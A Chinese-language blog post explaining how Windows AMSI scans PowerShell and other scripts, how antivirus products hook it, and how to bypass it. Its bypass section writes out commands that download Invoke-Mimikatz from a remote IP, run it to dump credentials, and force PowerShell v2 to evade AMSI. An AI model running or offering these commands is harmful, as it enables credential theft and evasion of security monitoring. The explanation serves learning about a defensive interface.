对反恶意软件扫描接口的学习与思考

VSole2021-07-21 10:00:17

前几天受到某位红队大佬指点了一波amsi接口限制powershell脚本的问题,随即便深知自己的知识面不足,这其实是个很基础的技术点,惭愧,于是便快速学习并产出此文,本文尽力通俗易懂,希望能帮到对这一块不太熟悉的小伙伴。

步入正题:

微软表示新的机制AMSI,能够让利用Windows内置host脚本隐蔽或混淆的恶意软件无所遁形,基于AMSI接口的安全软件能够进行更深层次的监控,为系统提供更深层次的安全防护。安全软件能通过AMSI接口扫描文件,内存、数据流等,进行内容源的URL/IP认证检查,并采用技术手段识别恶意行为。用户将可以更加方便地对基于动态脚本的恶意软件和其他攻击行为进行防范。

而AMSI之所以如此高效的原因就在于,无论代码是否经过了模糊处理,无论代码被混淆到了什么样的程度,当脚本需要在脚本宿主中运行时,它都必须是以清晰的、未经过混淆处理的明文代码形式呈现给脚本宿主的。

很多人认为他是负载在windows defender的上的,其实他是win10提供的相对独立的接口,他是存在于操作系统里面的。

就是这个东西:

触发他的规则

不仅限制于powershell,我们查阅了微软官方文档发现,还包括了UAC,VBS等,基本上对所有的脚本语言做了识别

综合流程结构:

黑名单机制

首先他其实是一个黑白名单的机制,准确来说是个黑名单,当攻击者有恶意操作时候,他就会提示并BAN掉

存放名单的地方

那么任何一种拥有黑白名单的机制的,他的名单都要有存放的地方,amsi接口默认是在defender里调用,所以暂时把他抽象的理解为一份存放着黑名单的数据库吧(大胆的去理解)

调用的程序

那么我们要想调用这个名单,得有一个调用的程序  amsi.dll   他是一个dll文件,里面有两个用的最多的函数

在咱们的示例中,PowerShell将运用AMSI DLL导出的函数来扫描用户输入。假如以为无害,则履行用户输入,否则将阻挠履行并记载事件。

AmsiScanBuffer,他是负责决定是否允许运行脚本的函数,比如PowerShell将在每次要评估任何PowerShell脚本时调用此函数

这个函数的介绍展现了非常详细的一些东西:

他需要你输入内容的名称,包括内容一些指定的值



很明显,他是通过以黑白名单的方式测试你是否存在恶意的行为。

另一个是AmsiScanString

应用的场景

比如打开powershell,UAC,VBA的等都是他的场景

不管我们在powershell输入什么东西的时候,他都会通过powershell去调用amsi,然后amsi再去调用查询,也就是存放黑白名单的库中去找,默认的是windows10的defender,只要你的实时保护是开着的,它默认就会调用defender里面存着的的黑名单,相当于他是个数据库,这么牵强的理解也是可以的,中间调用的函数便是scanbuff

powershell是通过什么去调用amsi.dll的呢?

通过automation.dll去调用amsi.dll,amsi.dll里面有个函数是 AmsiScanBuffer,PowerShell将在每次要评估任何PowerShell脚本时调用此函数,用来调用defender里面的黑白名单

调用问题

通常第三方的软件,比如360,火绒等,他们自己写的调用接口,那么就不用调用默认的dfinder了,那么我们可以理解为,把amsi的接口接到了360or火绒上。

为啥我们装了360的电脑,操作net user添加用户时候会弹窗告警呢?

那就是因为他和dfinder的黑白名单写了不一样的东西,把他们认为具有威胁性的写进了黑名单里面,比如敏感的powershell恶意操作,增加用户的Add等等,所以amsi.dll最后去调用黑白名单的时候,调用的就是360or火绒的,所以他们就会弹窗告警。

bypass amsi

强制使用PowerShell v2绕过 amsi(前提是win10机器需要.net3.0以上)

如果PowerShell v2可用,就用它,因为版本2没有支持AMSI的必要内部挂钩

我们用原始powershell执行经典的抓密码,可以看到是被amsi拦截的


Invoke-Mimikatz

powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"



powershell -Version 2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.123:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

如上图,利用V2降级攻击的方式,便不在拦截成功绕过了amsi愉快的抓到了密码。

绕过amsi的方式可太多了,例如修改注册表,混淆,更经典的是DLL劫持,Hook等等,以后会专项出一篇绕过amsi的方式好文以供大家学习探讨。

参考:

https://docs.microsoft.com/en-us/windows/win32/api/_amsi/

https://cloud.tencent.com/developer/article/1590511

总结:

总的来说,AMSI针对的是那些采用PowerShell、VBScript、以及JScript等语言开发出来的恶意脚本,它可以大大提升恶意脚本的检测准确率,并帮助用户有效地屏蔽这类恶意脚本。在脚本宿主准备运行某一段脚本代码之前,AMSI便会介入并尝试扫描出代码中潜在的恶意内容。但也不是不可绕过,绕过AMSI一直都是渗透师们热门话题。

powershell软件接口
本作品采用《CC 协议》,转载必须注明作者和本文链接
今年早些时候,研究人员分析了一年前出现的勒索软件家族LockBit的内部工作原理,该公司很快与Maze和REvil一起成为了目标勒索业务的另一个参与者。正如在4月所观察到的那样,LockBit已经迅速成熟,它通过绕过Windows...
前几天受到某位红队大佬指点了一波amsi接口限制powershell脚本的问题,随即便深知自己的知识面不足,这其实是个很基础的技术点,惭愧,于是便快速学习并产出此文,本文尽力通俗易懂,希望能帮到对这一块不太熟悉的小伙伴。
微软已将所有Office应用程序与防病毒软件集成,以防止出现宏恶意软件攻击。该公司正在使用反恶意软件扫描接口(AMSI)来处理嵌入在文档中的VBA宏。最近,我们报道了黑客如何使用微软Excel文档来执行CHAINSHOT恶意软件攻击。这些类型的攻击越来越普遍,黑客可以轻松访问受害者的计算机。
这凸显了开发检测恶意 PowerShell 命令的有效方法的迫切需要。在这项工作中,我们通过实施几个新颖的恶意 PowerShell 命令检测器并评估它们的性能来应对这一挑战。在这项工作中,我们使用 AMSI 提供的信息对恶意 PowerShell 代码检测进行了首次研究。
有关Windows防恶意软件扫描接口(Antimalware Scan Interface,AMSI)的介绍,请参阅Antimalware Scan Interface (AMSI)。
Malwarebytes威胁情报公司每月通过监控勒索软件团伙在其暗网泄露网站上发布的信息来建立勒索软件活动的图景。这些信息代表的是那些成功被袭击但选择不支付赎金的受害者。
在4月15日的每日Breach Pulse报告中,AdvIntel详细描述了一项证实的Conti针对哥斯达黎加财政部的行动,作为他们整个攻击的初始登陆点。在2022年4月11日感染后,威胁行为者开始进一步发展对哥斯达黎加的攻击,导致全国各地的系统瘫痪。
臭名昭著的LOCKBIT 2.0勒索软件组织在过去几个月非常活跃,与该勒索软件相关联的威胁参与者 (TA) 使用勒索软件即服务 (RaaS) 业务模型。
本文对如何利用 DCOM 进行横向移动的手法进行了总结,希望可以对大家的学习提供一些帮助。
自2017年WannaCry席卷全球以来,勒索软件攻击不断升级、演变。如今的攻击规模、影响及破坏效果都在显著扩大,不容小觑。
VSole
网络安全专家